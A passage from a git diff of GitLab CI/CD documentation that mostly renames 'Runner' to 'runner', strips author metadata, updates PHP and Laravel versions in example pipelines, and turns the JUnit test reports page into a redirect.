It is a simple task, but Maven requires it to stay in a file called `settings.xml` that has to be in the `.m2` subdirectory in the user's homedir. -Since you want to use GitLab Runner to automatically deploy the application, you +Since you want to use a runner to automatically deploy the application, you should create the file in the project's home directory and set a command line parameter in `.gitlab-ci.yml` to use the custom location instead of the default one: @@ -110,7 +105,7 @@ parameter in `.gitlab-ci.yml` to use the custom location instead of the default Now it's time we set up [GitLab CI/CD](https://about.gitlab.com/stages-devops-lifecycle/continuous-integration/) to automatically build, test and deploy the dependency! GitLab CI/CD uses a file in the root of the repository, named `.gitlab-ci.yml`, to read the definitions for jobs -that will be executed by the configured GitLab Runners. You can read more about this file in the [GitLab Documentation](../../yaml/README.md). +that will be executed by the configured runners. You can read more about this file in the [GitLab Documentation](../../yaml/README.md). First of all, remember to set up variables for your deployment. Navigate to your project's **Settings > CI/CD > Environment variables** page and add the following ones (replace them with your current values, of course): @@ -151,7 +146,7 @@ deploy: - master ``` -GitLab Runner will use the latest [Maven Docker image](https://hub.docker.com/_/maven/), which already contains all the tools and the dependencies you need to manage the project, +The runner will use the latest [Maven Docker image](https://hub.docker.com/_/maven/), which already contains all the tools and the dependencies you need to manage the project, in order to run the jobs. Environment variables are set to instruct Maven to use the `homedir` of the repository instead of the user's home when searching for configuration and dependencies. diff --git a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md index 9a87786ec70..73896547675 100644 --- a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md +++ b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md @@ -9,6 +9,12 @@ type: tutorial This tutorial demonstrates how to authenticate, configure, and read secrets with HashiCorp's Vault from GitLab CI/CD. +NOTE: **Note:** +[GitLab Premium](https://about.gitlab.com/pricing/) supports read access to a +Hashicorp Vault, and enables you to +[use Vault secrets in a CI job](../../secrets/index.md#use-vault-secrets-in-a-ci-job). +To learn more, read [Using external secrets in CI](../../secrets/index.md). + ## Requirements This tutorial assumes you are familiar with GitLab CI/CD and Vault. @@ -41,7 +47,7 @@ The JWT's payload looks like this: "project_path": "mygroup/myproject", "user_id": "42", "user_login": "myuser", - "user_email": "myuser@example.com" + "user_email": "myuser@example.com", "pipeline_id": "1212", "job_id": "1212", "ref": "auto-deploy-2020-04-01", # Git ref for this job diff --git a/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md b/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md index e0d4f3f2402..b113b10f2e3 100644 --- a/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md +++ b/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md @@ -2,14 +2,7 @@ stage: Release group: Progressive Delivery info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers -author: Dylan Griffith -author_gitlab: DylanGriffith -level: intermediate -article_type: tutorial type: tutorial -date: 2018-06-07 -last_updated: 2019-04-08 -description: "Continuous Deployment of a Spring Boot application to Cloud Foundry with GitLab CI/CD" --- # Deploy a Spring Boot application to Cloud Foundry with GitLab CI/CD diff --git a/doc/ci/examples/deployment/README.md b/doc/ci/examples/deployment/README.md index 3192b365c83..f29770b8f57 100644 --- a/doc/ci/examples/deployment/README.md +++ b/doc/ci/examples/deployment/README.md @@ -117,7 +117,7 @@ We also use two secure variables: Secure Variables can added by going to your project's **Settings ➔ CI / CD ➔ Variables**. The variables that are defined -in the project settings are sent along with the build script to the Runner. +in the project settings are sent along with the build script to the runner. The secure variables are stored out of the repository. Never store secrets in your project's `.gitlab-ci.yml`. It is also important that the secret's value is hidden in the job log. diff --git a/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md b/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md index 35a35d97a4b..836141af91e 100644 --- a/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md +++ b/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md @@ -2,13 +2,7 @@ stage: Verify group: Continuous Integration info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers -author: Ryan Hall -author_gitlab: blitzgren -level: intermediate -article_type: tutorial type: tutorial -date: 2018-03-07 -last_updated: 2019-03-11 --- # DevOps and Game Dev with GitLab CI/CD @@ -435,7 +429,7 @@ fully understand [IAM Best Practices in AWS](https://docs.aws.amazon.com/IAM/lat ### Deploy your game with GitLab CI/CD To deploy our build artifacts, we need to install the [AWS CLI](https://aws.amazon.com/cli/) on -the Shared Runner. The Shared Runner also needs to be able to authenticate with your AWS +the shared runner. The shared runner also needs to be able to authenticate with your AWS account to deploy the artifacts. By convention, AWS CLI will look for `AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY`. GitLab's CI gives us a way to pass the variables we set up in the prior section using the `variables` portion of the `deploy` job. At the end, diff --git a/doc/ci/examples/end_to_end_testing_webdriverio/index.md b/doc/ci/examples/end_to_end_testing_webdriverio/index.md index 05b3cc257e3..1f6c81a68aa 100644 --- a/doc/ci/examples/end_to_end_testing_webdriverio/index.md +++ b/doc/ci/examples/end_to_end_testing_webdriverio/index.md @@ -2,13 +2,7 @@ stage: Verify group: Testing info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers -author: Vincent Tunru -author_gitlab: Vinnl -level: advanced -article_type: user guide type: tutorial -date: 2019-02-18 -description: 'Confidence checking your entire app every time a new feature is added can quickly become repetitive. Learn how to automate it with GitLab CI/CD.' --- # End-to-end testing with GitLab CI/CD and WebdriverIO @@ -228,6 +222,7 @@ deploy_terraform: stage: deploy script: # Your Review App deployment scripts - for a working example please check https://gitlab.com/Flockademic/Flockademic/blob/5a45f1c2412e93810fab50e2dab8949e2d0633c7/.gitlab-ci.yml#L315 + - echo e2e:firefox: stage: confidence-check services: diff --git a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md index c27566d38cf..8927c5c3480 100644 --- a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md +++ b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md @@ -2,14 +2,7 @@ stage: Verify group: Continuous Integration info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers -disqus_identifier: 'https://docs.gitlab.com/ee/articles/laravel_with_gitlab_and_envoy/index.html' -author: Mehran Rasulian -author_gitlab: mehranrasulian -level: intermediate -article_type: tutorial type: tutorial -date: 2017-08-31 -last_updated: 2019-03-06 --- # Test and deploy Laravel applications with GitLab CI/CD and Envoy @@ -36,7 +29,7 @@ We assume [you have installed a new Laravel project](https://laravel.com/docs/ma ### Unit Test -Every new installation of Laravel (currently 5.4) comes with two type of tests, 'Feature' and 'Unit', placed in the tests directory. +Every new installation of Laravel (currently 8.0) comes with two type of tests, 'Feature' and 'Unit', placed in the tests directory. Here's a unit test from `test/Unit/ExampleTest.php`: ```php @@ -412,7 +405,7 @@ Let's create a [Dockerfile](https://gitlab.com/mehranrasulian/laravel-sample/blo ```shell # Set the base image for subsequent instructions -FROM php:7.1 +FROM php:7.4 # Update packages RUN apt-get update @@ -434,7 +427,7 @@ RUN curl --silent --show-error https://getcomposer.org/installer | php -- --inst RUN composer global require "laravel/envoy=~1.0" ``` -We added the [official PHP 7.1 Docker image](https://hub.docker.com/_/php), which consist of a minimum installation of Debian Jessie with PHP pre-installed, and works perfectly for our use case. +We added the [official PHP 7.4 Docker image](https://hub.docker.com/_/php), which consist of a minimum installation of Debian buster with PHP pre-installed, and works perfectly for our use case. We used `docker-php-ext-install` (provided by the official PHP Docker image) to install the PHP extensions we need. @@ -537,8 +530,8 @@ That's a lot to take in, isn't it? Let's run through it step by step. #### Image and Services -[GitLab Runners](../../runners/README.md) run the script defined by `.gitlab-ci.yml`. -The `image` keyword tells the Runners which image to use. +[Runners](../../runners/README.md) run the script defined by `.gitlab-ci.yml`. +The `image` keyword tells the runners which image to use. The `services` keyword defines additional images [that are linked to the main image](../../docker/using_docker_images.md#what-is-a-service). Here we use the container image we created before as our main image and also use MySQL 5.7 as a service. @@ -566,15 +559,11 @@ Also set the variables `DB_HOST` to `mysql` and `DB_USERNAME` to `root`, which a We define `DB_HOST` as `mysql` instead of `127.0.0.1`, as we use MySQL Docker image as a service which [is linked to the main Docker image](../../docker/using_docker_images.md#how-services-are-linked-to-the-job). ```yaml -... - variables: MYSQL_DATABASE: homestead MYSQL_ROOT_PASSWORD: secret DB_HOST: mysql DB_USERNAME: root - -... ``` #### Unit Test as the first job @@ -584,8 +573,6 @@ We defined the required shell scripts as an array of the [script](../../yaml/REA These scripts are some Artisan commands to prepare the Laravel, and, at the end of the script, we'll run the tests by `PHPUnit`. ```yaml -... - unit_test: script: # Install app dependencies @@ -598,8 +585,6 @@ unit_test: - php artisan migrate # Run tests - vendor/bin/phpunit - -... ``` #### Deploy to production @@ -615,8 +600,6 @@ The `only` keyword tells GitLab CI/CD that the job should be executed only when Lastly, `when: manual` is used to turn the job from running automatically to a manual action. ```yaml -... - deploy_production: script: # Add the private SSH key to the build environment @@ -648,7 +631,7 @@ To do that, commit and push `.gitlab-ci.yml` to the `master` branch. It will tri Here we see our **Test** and **Deploy** stages. The **Test** stage has the `unit_test` build running. -click on it to see the Runner's output. +click on it to see the runner's output.  diff --git a/doc/ci/examples/php.md b/doc/ci/examples/php.md index cc62e9316f2..ab6ff1dc177 100644 --- a/doc/ci/examples/php.md +++ b/doc/ci/examples/php.md @@ -26,7 +26,7 @@ As with every job, you need to create a valid `.gitlab-ci.yml` describing the build environment. Let's first specify the PHP image that will be used for the job process -(you can read more about what an image means in the Runner's lingo reading +(you can read more about what an image means in the runner's lingo reading about [Using Docker images](../docker/using_docker_images.md#what-is-an-image)). Start by adding the image to your `.gitlab-ci.yml`: @@ -73,24 +73,16 @@ Now that we created the script that contains all prerequisites for our build environment, let's add it in `.gitlab-ci.yml`: ```yaml -... - before_script: - bash ci/docker_install.sh > /dev/null - -... ``` Last step, run the actual tests using `phpunit`: ```yaml -... - test:app: script: - phpunit --configuration phpunit_myapp.xml - -... ``` Finally, commit your files and push them to GitLab to see your build succeeding @@ -103,7 +95,7 @@ The final `.gitlab-ci.yml` should look similar to this: image: php:5.6 before_script: -# Install dependencies + # Install dependencies - bash ci/docker_install.sh > /dev/null test:app: @@ -118,7 +110,7 @@ with a different Docker image version and the runner will do the rest: ```yaml before_script: -# Install dependencies + # Install dependencies - bash ci/docker_install.sh > /dev/null # We test PHP5.6 @@ -231,8 +223,6 @@ In order to execute Composer before running your tests, simply add the following in your `.gitlab-ci.yml`: ```yaml -... - # Composer stores all downloaded packages in the vendor/ directory. # Do not use the following if the vendor/ directory is committed to # your git repository. @@ -241,15 +231,13 @@ cache: - vendor/ before_script: -# Install composer dependencies + # Install composer dependencies - wget https://composer.github.io/installer.sig -O - -q | tr -d '\n' > installer.sig - php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" - php -r "if (hash_file('SHA384', 'composer-setup.php') === file_get_contents('installer.sig')) { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;" - php composer-setup.php - php -r "unlink('composer-setup.php'); unlink('installer.sig');" - php composer.phar install - -... ``` ## Access private packages or dependencies diff --git a/doc/ci/examples/test-and-deploy-python-application-to-heroku.md b/doc/ci/examples/test-and-deploy-python-application-to-heroku.md index d01e9663795..6c4d99bd2dc 100644 --- a/doc/ci/examples/test-and-deploy-python-application-to-heroku.md +++ b/doc/ci/examples/test-and-deploy-python-application-to-heroku.md @@ -71,7 +71,7 @@ Find your Heroku API key in [Manage Account](https://dashboard.heroku.com/accoun For each of your environments, you'll need to create a new Heroku application. You can do this through the [Dashboard](https://dashboard.heroku.com/). -## Create Runner +## Create a runner First install [Docker Engine](https://docs.docker.com/installation/). diff --git a/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md b/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md index bf589c5991d..066c0cf214f 100644 --- a/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md +++ b/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md @@ -19,27 +19,27 @@ This is what the `.gitlab-ci.yml` file looks like for this project: test: stage: test script: - - apt-get update -qy - - apt-get install -y nodejs - - bundle install --path /cache - - bundle exec rake db:create RAILS_ENV=test - - bundle exec rake test + - apt-get update -qy + - apt-get install -y nodejs + - bundle install --path /cache + - bundle exec rake db:create RAILS_ENV=test + - bundle exec rake test staging: stage: deploy script: - - gem install dpl - - dpl --provider=heroku --app=gitlab-ci-ruby-test-staging --api-key=$HEROKU_STAGING_API_KEY + - gem install dpl + - dpl --provider=heroku --app=gitlab-ci-ruby-test-staging --api-key=$HEROKU_STAGING_API_KEY only: - - master + - master production: stage: deploy script: - - gem install dpl - - dpl --provider=heroku --app=gitlab-ci-ruby-test-prod --api-key=$HEROKU_PRODUCTION_API_KEY + - gem install dpl + - dpl --provider=heroku --app=gitlab-ci-ruby-test-prod --api-key=$HEROKU_PRODUCTION_API_KEY only: - - tags + - tags ``` This project has three jobs: @@ -62,7 +62,7 @@ Find your Heroku API key in [Manage Account](https://dashboard.heroku.com/accoun For each of your environments, you'll need to create a new Heroku application. You can do this through the [Heroku Dashboard](https://dashboard.heroku.com/). -## Create Runner +## Create a runner First install [Docker Engine](https://docs.docker.com/installation/). @@ -92,6 +92,6 @@ gitlab-runner register \ --docker-image ruby:2.6 ``` -With the command above, you create a Runner that uses the [`ruby:2.6`](https://hub.docker.com/_/ruby) image and uses a [PostgreSQL](https://hub.docker.com/_/postgres) database. +With the command above, you create a runner that uses the [`ruby:2.6`](https://hub.docker.com/_/ruby) image and uses a [PostgreSQL](https://hub.docker.com/_/postgres) database. To access the PostgreSQL database, connect to `host: postgres` as user `postgres` with no password. diff --git a/doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md b/doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md index f2620461c09..ab6a4d3f507 100644 --- a/doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md +++ b/doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md @@ -2,13 +2,7 @@ stage: Verify group: Continuous Integration info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers -author: Alexandre S Hostert -author_gitlab: Hostert -level: beginner -article_type: tutorial type: tutorial -date: 2018-02-20 -last_updated: 2019-03-06 --- # Testing a Phoenix application with GitLab CI/CD @@ -182,10 +176,10 @@ environment it can run. Since we will work with a single environment, we'll edit configuration file (`test.exs`). But, why do we need to adjust our configuration? Well, GitLab CI/CD builds and tests our code in one -isolated virtual machine, called [Runner](../../runners/README.md), using Docker technology. In this Runner, +isolated virtual machine, called a [runner](../../runners/README.md), using Docker technology. In this runner, GitLab CI/CD has access to everything our Phoenix application need to run, exactly as we have in our `localhost`, but we have to tell GitLab CI/CD where to create and find this database using system -variables. This way, GitLab CI/CD will create our test database inside the Runner, just like we do +variables. This way, GitLab CI/CD will create our test database inside the runner, just like we do when running our Phoenix in our `localhost`. - Open `hello_gitlab_ci/config/test.exs` on your favorite code editor @@ -262,7 +256,7 @@ project. - The first line tells GitLab what Docker image will be used. - Remember when we learn about Runners, the isolated virtual machine where GitLab CI/CD build and test + Remember when we learned about runners, the isolated virtual machine where GitLab CI/CD builds and tests our application? This virtual machine must have all dependencies to run our application. This is where a Docker image is needed. The correct image will provide the entire system for us. @@ -401,5 +395,5 @@ using GitLab CI/CD. The benefits to our teams will be huge! - [GitLab CI/CD introductory guide](https://about.gitlab.com/blog/2015/12/14/getting-started-with-gitlab-and-gitlab-ci/) - [GitLab CI/CD full Documentation](../../README.md) -- [GitLab Runners documentation](../../runners/README.md) +- [GitLab Runner documentation](../../runners/README.md) - [Using Docker images documentation](../../docker/using_docker_images.md) diff --git a/doc/ci/git_submodules.md b/doc/ci/git_submodules.md index b12ac59625f..5bcfe8fa3f1 100644 --- a/doc/ci/git_submodules.md +++ b/doc/ci/git_submodules.md @@ -94,10 +94,10 @@ correctly with your CI jobs: whether you have recursive submodules. The rationale to set the `sync` and `update` in `before_script` is because of -the way Git submodules work. On a fresh Runner workspace, Git will set the +the way Git submodules work. On a fresh runner workspace, Git will set the submodule URL including the token in `.git/config` (or `.git/modules/<submodule>/config`) based on `.gitmodules` and the current -remote URL. On subsequent jobs on the same Runner, `.git/config` is cached +remote URL. On subsequent jobs on the same runner, `.git/config` is cached and already contains a full URL for the submodule, corresponding to the previous job, and to **a token from a previous job**. `sync` allows to force updating the full URL. diff --git a/doc/ci/interactive_web_terminal/index.md b/doc/ci/interactive_web_terminal/index.md index c79fb5bc926..125e7dabecf 100644 --- a/doc/ci/interactive_web_terminal/index.md +++ b/doc/ci/interactive_web_terminal/index.md @@ -26,7 +26,7 @@ terminals are available when using your own group or project runner. Two things need to be configured for the interactive web terminal to work: -- The Runner needs to have [`[session_server]` configured +- The runner needs to have [`[session_server]` configured properly](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-session_server-section) - If you are using a reverse proxy with your GitLab instance, web terminals need to be [enabled](../../administration/integration/terminal.md#enabling-and-disabling-terminal-support) diff --git a/doc/ci/introduction/index.md b/doc/ci/introduction/index.md index c97f4e51d30..db2749233e8 100644 --- a/doc/ci/introduction/index.md +++ b/doc/ci/introduction/index.md @@ -191,7 +191,7 @@ according to each stage (Verify, Package, Release). - Analyze your source code quality with [GitLab Code Quality](../../user/project/merge_requests/code_quality.md). - Determine the browser performance impact of code changes with [Browser Performance Testing](../../user/project/merge_requests/browser_performance_testing.md). **(PREMIUM)** - Determine the server performance impact of code changes with [Load Performance Testing](../../user/project/merge_requests/load_performance_testing.md). **(PREMIUM)** - - Perform a series of tests, such as [Container Scanning](../../user/application_security/container_scanning/index.md) **(ULTIMATE)**, [Dependency Scanning](../../user/application_security/dependency_scanning/index.md) **(ULTIMATE)**, and [JUnit tests](../junit_test_reports.md). + - Perform a series of tests, such as [Container Scanning](../../user/application_security/container_scanning/index.md) **(ULTIMATE)**, [Dependency Scanning](../../user/application_security/dependency_scanning/index.md) **(ULTIMATE)**, and [Unit tests](../unit_test_reports.md). - Deploy your changes with [Review Apps](../review_apps/index.md) to preview the app changes on every branch. 1. **Package**: - Store Docker images with [Container Registry](../../user/packages/container_registry/index.md). @@ -237,3 +237,6 @@ existing one) for any application. For a deep view of GitLab's CI/CD configuration options, check the [`.gitlab-ci.yml` full reference](../yaml/README.md). + +For help making your pipelines faster and more efficient, see the +[pipeline efficiency documentation](../pipelines/pipeline_efficiency.md). diff --git a/doc/ci/junit_test_reports.md b/doc/ci/junit_test_reports.md index 8bc55a6e4f3..449f9bf5fcd 100644 --- a/doc/ci/junit_test_reports.md +++ b/doc/ci/junit_test_reports.md @@ -1,281 +1,5 @@ --- -stage: Verify -group: Testing -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers -type: reference +redirect_to: 'unit_test_reports.md' --- -# JUnit test reports - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/45318) in GitLab 11.2. Requires GitLab Runner 11.2 and above. - -## Overview - -It is very common that a [CI/CD pipeline](pipelines/index.md) contains a -test job that will verify your code. -If the tests fail, the pipeline fails and users get notified. The person that -works on the merge request will have to check the job logs and see where the -tests failed so that they can fix them. - -You can configure your job to use JUnit test reports, and GitLab will display a -report on the merge request so that it's easier and faster to identify the -failure without having to check the entire log. - -If you don't use Merge Requests but still want to see the JUnit output without searching through job logs, the full [JUnit test reports](#viewing-junit-test-reports-on-gitlab) are available in the pipeline detail view. - -## Use cases - -Consider the following workflow: - -1. Your `master` branch is rock solid, your project is using GitLab CI/CD and - your pipelines indicate that there isn't anything broken. -1. Someone from your team submits a merge request, a test fails and the pipeline - gets the known red icon. To investigate more, you have to go through the job - logs to figure out the cause of the failed test, which usually contain - thousands of lines. -1. You configure the JUnit test reports and immediately GitLab collects and - exposes them in the merge request. No more searching in the job logs. -1. Your development and debugging workflow becomes easier, faster and efficient. - -## How it works - -First, GitLab Runner uploads all JUnit XML files as artifacts to GitLab. Then, -when you visit a merge request, GitLab starts comparing the head and base branch's -JUnit test reports, where: - -- The base branch is the target branch (usually `master`). -- The head branch is the source branch (the latest pipeline in each merge request). - -The reports panel has a summary showing how many tests failed, how many had errors -and how many were fixed. If no comparison can be done because data for the base branch -is not available, the panel will just show the list of failed tests for head. - -There are four types of results: - -1. **Newly failed tests:** Test cases which passed on base branch and failed on head branch -1. **Newly encountered errors:** Test cases which passed on base branch and failed due to a - test error on head branch -1. **Existing failures:** Test cases which failed on base branch and failed on head branch -1. **Resolved failures:** Test cases which failed on base branch and passed on head branch - -Each entry in the panel will show the test name and its type from the list -above. Clicking on the test name will open a modal window with details of its -execution time and the error output. - - - -## How to set it up - -To enable the JUnit reports in merge requests, you need to add -[`artifacts:reports:junit`](pipelines/job_artifacts.md#artifactsreportsjunit) -in `.gitlab-ci.yml`, and specify the path(s) of the generated test reports. -The reports must be `.xml` files, otherwise [GitLab returns an Error 500](https://gitlab.com/gitlab-org/gitlab/-/issues/216575). - -In the following examples, the job in the `test` stage runs and GitLab -collects the JUnit test report from each job. After each job is executed, the -XML reports are stored in GitLab as artifacts and their results are shown in the -merge request widget. - -To make the JUnit output files browsable, include them with the -[`artifacts:paths`](yaml/README.md#artifactspaths) keyword as well, as shown in the [Ruby example](#ruby-example). - -NOTE: **Note:** -You cannot have multiple tests with the same name and class in your JUnit report. - -### Ruby example - -Use the following job in `.gitlab-ci.yml`. This includes the `artifacts:paths` keyword to provide a link to the JUnit output file. - -```yaml -## Use https://github.com/sj26/rspec_junit_formatter to generate a JUnit report with rspec -ruby: - stage: test - script: - - bundle install - - bundle exec rspec --format progress --format RspecJunitFormatter --out rspec.xml - artifacts: - paths: - - rspec.xml - reports: - junit: rspec.xml -``` - -### Go example - -Use the following job in `.gitlab-ci.yml`, and ensure you use `-set-exit-code`, -otherwise the pipeline will be marked successful, even if the tests fail: - -```yaml -## Use https://github.com/jstemmer/go-junit-report to generate a JUnit report with go -golang: - stage: test - script: - - go get -u github.com/jstemmer/go-junit-report - - go test -v 2>&1 | go-junit-report -set-exit-code > report.xml - artifacts: - reports: - junit: report.xml -``` - -### Java examples - -There are a few tools that can produce JUnit reports in Java. - -#### Gradle - -In the following example, `gradle` is used to generate the test reports. -If there are multiple test tasks defined, `gradle` will generate multiple -directories under `build/test-results/`. In that case, you can leverage glob -matching by defining the following path: `build/test-results/test/**/TEST-*.xml`: - -```yaml -java: - stage: test - script: - - gradle test - artifacts: - reports: - junit: build/test-results/test/**/TEST-*.xml -``` - -NOTE: **Note:** -Support for `**` was added in [GitLab Runner 13.0](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620). - -#### Maven - -For parsing [Surefire](https://maven.apache.org/surefire/maven-surefire-plugin/) -and [Failsafe](https://maven.apache.org/surefire/maven-failsafe-plugin/) test -reports, use the following job in `.gitlab-ci.yml`: - -```yaml -java: - stage: test - script: - - mvn verify - artifacts: - reports: - junit: - - target/surefire-reports/TEST-*.xml - - target/failsafe-reports/TEST-*.xml -``` - -### Python example - -This example uses pytest with the `--junitxml=report.xml` flag to format the output -for JUnit: - -```yaml -pytest: - stage: test - script: - - pytest --junitxml=report.xml - artifacts: - reports: - junit: report.xml -``` - -### C/C++ example - -There are a few tools that can produce JUnit reports in C/C++. - -#### GoogleTest - -In the following example, `gtest` is used to generate the test reports. -If there are multiple gtest executables created for different architectures (`x86`, `x64` or `arm`), -you will be required to run each test providing a unique filename. The results -will then be aggregated together. - -```yaml -cpp: - stage: test - script: - - gtest.exe --gtest_output="xml:report.xml" - artifacts: - reports: - junit: report.xml -``` - -#### CUnit - -[CUnit](https://cunity.gitlab.io/cunit/) can be made to produce [JUnit XML reports](https://cunity.gitlab.io/cunit/group__CI.html) automatically when run using its `CUnitCI.h` macros: - -```yaml -cunit: - stage: test - script: - - ./my-cunit-test - artifacts: - reports: - junit: ./my-cunit-test.xml -``` - -### .NET example - -The [JunitXML.TestLogger](https://www.nuget.org/packages/JunitXml.TestLogger/) NuGet -package can generate test reports for .Net Framework and .Net Core applications. The following -example expects a solution in the root folder of the repository, with one or more -project files in sub-folders. One result file is produced per test project, and each file -is placed in a new artifacts folder. This example includes optional formatting arguments, which -improve the readability of test data in the test widget. A full .Net Core -[example is available](https://gitlab.com/Siphonophora/dot-net-cicd-test-logging-demo). - -```yaml -## Source code and documentation are here: https://github.com/spekt/junit.testlogger/ - -Test: - stage: test - script: - - 'dotnet test --test-adapter-path:. --logger:"junit;LogFilePath=..\artifacts\{assembly}-test-result.xml;MethodFormat=Class;FailureBodyFormat=Verbose"' - artifacts: - when: always - paths: - - ./**/*test-result.xml - reports: - junit: - - ./**/*test-result.xml -``` - -## Viewing JUnit test reports on GitLab - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24792) in GitLab 12.5 behind a feature flag (`junit_pipeline_view`), disabled by default. -> - The feature flag was removed and the feature was [made generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/216478) in GitLab 13.3. - -If JUnit XML files are generated and uploaded as part of a pipeline, these reports -can be viewed inside the pipelines details page. The **Tests** tab on this page will -display a list of test suites and cases reported from the XML file. - - - -You can view all the known test suites and click on each of these to see further -details, including the cases that make up the suite. - -You can also retrieve the reports via the [GitLab API](../api/pipelines.md#get-a-pipelines-test-report). - -## Viewing JUnit screenshots on GitLab - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202114) in GitLab 13.0. -> - It's deployed behind a feature flag, disabled by default. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enabling-the-junit-screenshots-feature-core-only). **(CORE ONLY)** - -If JUnit XML files contain an `attachment` tag, GitLab parses the attachment. - -Upload your screenshots as [artifacts](pipelines/job_artifacts.md#artifactsreportsjunit) to GitLab. The `attachment` tag **must** contain the absolute path to the screenshots you uploaded. - -```xml -<testcase time="1.00" name="Test"> - <system-out>[[ATTACHMENT|/absolute/path/to/some/file]]</system-out> -</testcase> -``` - -When [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/6061) is complete, the attached file will be visible on the pipeline details page. - -### Enabling the JUnit screenshots feature **(CORE ONLY)** - -This feature comes with the `:junit_pipeline_screenshots_view` feature flag disabled by default. - -To enable this feature, ask a GitLab administrator with [Rails console access](../administration/feature_flags.md#how-to-enable-and-disable-features-behind-flags) to run the -following command: - -```ruby -Feature.enable(:junit_pipeline_screenshots_view) -``` +This document was moved to [unit_test_reports](unit_test_reports.md). diff --git a/doc/ci/large_repositories/index.md b/doc/ci/large_repositories/index.md index 00e912d47dc..0019eb5f40c 100644 --- a/doc/ci/large_repositories/index.md +++ b/doc/ci/large_repositories/index.md @@ -28,9 +28,8 @@ Each guideline is described in more detail in the sections below: > Introduced in GitLab Runner 8.9. -GitLab and GitLab Runner always perform a full clone by default. -While it means that all changes from GitLab are received, -it often results in receiving extra commit logs. +GitLab and GitLab Runner perform a [shallow clone](../pipelines/settings.md#git-shallow-clone) +by default. Ideally, you should always use `GIT_DEPTH` with a small number like 10. This will instruct GitLab Runner to perform shallow clones. @@ -41,7 +40,7 @@ This significantly speeds up fetching of changes from Git repositories, especially if the repository has a very long backlog consisting of number of big files as we effectively reduce amount of data transfer. -The following example makes GitLab Runner shallow clone to fetch only a given branch; +The following example makes the runner shallow clone to fetch only a given branch; it does not fetch any other branches nor tags. ```yaml @@ -226,15 +225,15 @@ with other concurrent jobs running. ### Store custom clone options in `config.toml` Ideally, all job-related configuration should be stored in `.gitlab-ci.yml`. -However, sometimes it is desirable to make these schemes part of Runner configuration. +However, sometimes it is desirable to make these schemes part of the runner's configuration. In the above example of Forks, making this configuration discoverable for users may be preferred, but this brings administrative overhead as the `.gitlab-ci.yml` needs to be updated for each branch. In such cases, it might be desirable to keep the `.gitlab-ci.yml` clone path agnostic, but make it -a configuration of Runner. +a configuration of the runner. We can extend our [`config.toml`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html) -with the following specification that will be used by Runner if `.gitlab-ci.yml` will not override it: +with the following specification that will be used by the runner if `.gitlab-ci.yml` will not override it: ```toml concurrent = 4 @@ -255,7 +254,7 @@ concurrent = 4 volumes = ["/builds:/builds", "/cache:/cache"] ``` -This makes the cloning configuration to be part of given Runner +This makes the cloning configuration to be part of the given runner and does not require us to update each `.gitlab-ci.yml`. ## Pre-clone step diff --git a/doc/ci/merge_request_pipelines/index.md b/doc/ci/merge_request_pipelines/index.md index 73b971c2d41..3ce62936168 100644 --- a/doc/ci/merge_request_pipelines/index.md +++ b/doc/ci/merge_request_pipelines/index.md @@ -13,7 +13,7 @@ last_update: 2019-07-03 In a [basic configuration](../pipelines/pipeline_architectures.md#basic-pipelines), GitLab runs a pipeline each time changes are pushed to a branch. -If you want the pipeline to run jobs **only** when merge requests are created or updated, +If you want the pipeline to run jobs **only** on commits to a branch that is associated with a merge request, you can use *pipelines for merge requests*. In the UI, these pipelines are labeled as `detached`. Otherwise, these pipelines appear the same @@ -179,7 +179,7 @@ coming from a fork: Sometimes parent project members want the pipeline to run in the parent project. This could be to ensure that the post-merge pipeline passes in the parent project. -For example, a fork project could try to use a corrupted Runner that doesn't execute +For example, a fork project could try to use a corrupted runner that doesn't execute test scripts properly, but reports a passed pipeline. Reviewers in the parent project could mistakenly trust the merge request because it passed a faked pipeline. diff --git 